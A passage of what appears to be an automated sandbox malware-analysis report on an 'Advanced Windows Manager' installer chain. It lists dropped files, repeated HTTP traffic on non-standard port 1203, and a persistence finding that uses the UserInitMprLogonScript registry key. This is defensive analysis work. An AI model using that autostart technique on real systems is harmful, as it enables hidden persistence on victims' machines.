Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File created: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\4394A48\AdvancedWindowsManager.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDC4D.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File created: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\4394A48\Windows Updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	File created: C:\Users\user\AppData\Local\Temp\MSI285D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA999.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	File created: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\9c66f20de619a94580bb93030dc1aea6.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\Windows Updater.exe	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File created: C:\Windows\Temp\MSICE82.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: 413df4.rbf (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE7CD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF8FF.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\shi2D6D.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shiAE96.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE80D.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a495e6fb1839749b6d15c60fe56a705.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIAD1B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI57A7.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\AdvancedWindowsManager.exe	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\INA7D61.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF334.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFDAD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI97B8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIACAB.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFCDF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5B05.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a01aa728a4dab42a1a96bd575273048.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE88C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF402.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	File created: C:\Users\user\AppData\Local\Temp\shi27C0.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File created: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\decoder.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\7521326bf1c7c344a7ca0eb2f78dd396.tmp	Jump to dropped file

Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a495e6fb1839749b6d15c60fe56a705.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\f30fa2050fab9a4e9730e495e7217769.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\bcbe912d67afa2439ce32b324e7130e1.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\71d2c2c2cbf1584eab33cbbc878fb5cc.tmp	Jump to dropped file
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	File created: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a01aa728a4dab42a1a96bd575273048.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\b9f3dab10526734c996e5577124d9fe9.tmp	Jump to dropped file
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	File created: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe.part	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\7521326bf1c7c344a7ca0eb2f78dd396.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\9c66f20de619a94580bb93030dc1aea6.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\86f0e59c0cab3c4a8a87bee6d0fa0beb.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5407.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFC5E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI46E5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9758.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA92A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIABBF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB9A2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF464.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF9CB.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBA30.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF324.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE7ED.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI422D.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File created: C:\Windows\Temp\MSICE04.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA969.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF423.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI55E1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF484.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA4AC.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFC1F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE73E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFD2F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBD12.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5543.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBDFE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF4F3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFD0F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9788.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF2C3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF786.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE7AD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIACFB.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi982D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDA43.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\MSI7EBB.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA3A2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDAA3.tmp	Jump to dropped file
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	File created: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFCBF.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shiADAA.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File created: C:\Windows\Temp\shiCD57.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFC9F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5523.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI45A8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF444.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA8CA.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA8FA.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4618.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF6E8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF433.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI45D8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE8AD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIADB9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA2B5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF862.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI94A7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBCA2.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File created: C:\Windows\Temp\INACC6B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE633.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDAD2.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi80CC.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIAA66.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIAD6A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA7EC.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4724.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE81E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIACCB.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF2F3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA5E7.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi97AF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4686.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF244.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDC0E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDA82.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi8169.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE8CD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA9BA.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC10D.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\shi7E1E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA607.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDBDE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA81C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5447.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA8AA.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9477.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF293.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF3E2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5AE4.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI935C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI528F.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\MSI8071.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI94C7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF374.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFC7F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE663.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDB50.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBCD2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE603.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB914.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA362.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBD80.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFEC8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF9FB.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI92DE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDC4D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA999.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File created: C:\Windows\Temp\MSICE82.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE7CD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF8FF.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shiAE96.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE80D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIAD1B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI57A7.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\INA7D61.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF334.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFDAD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI97B8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIACAB.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFCDF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5B05.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE88C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF402.tmp	Jump to dropped file

Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	File created: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part			Jump to dropped file
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	File created: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe.part			Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Windows\SysWOW64\reg.exe

Key value created or modified: HKEY_CURRENT_USER\Environment UserInitMprLogonScript

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 1203 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 1203 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
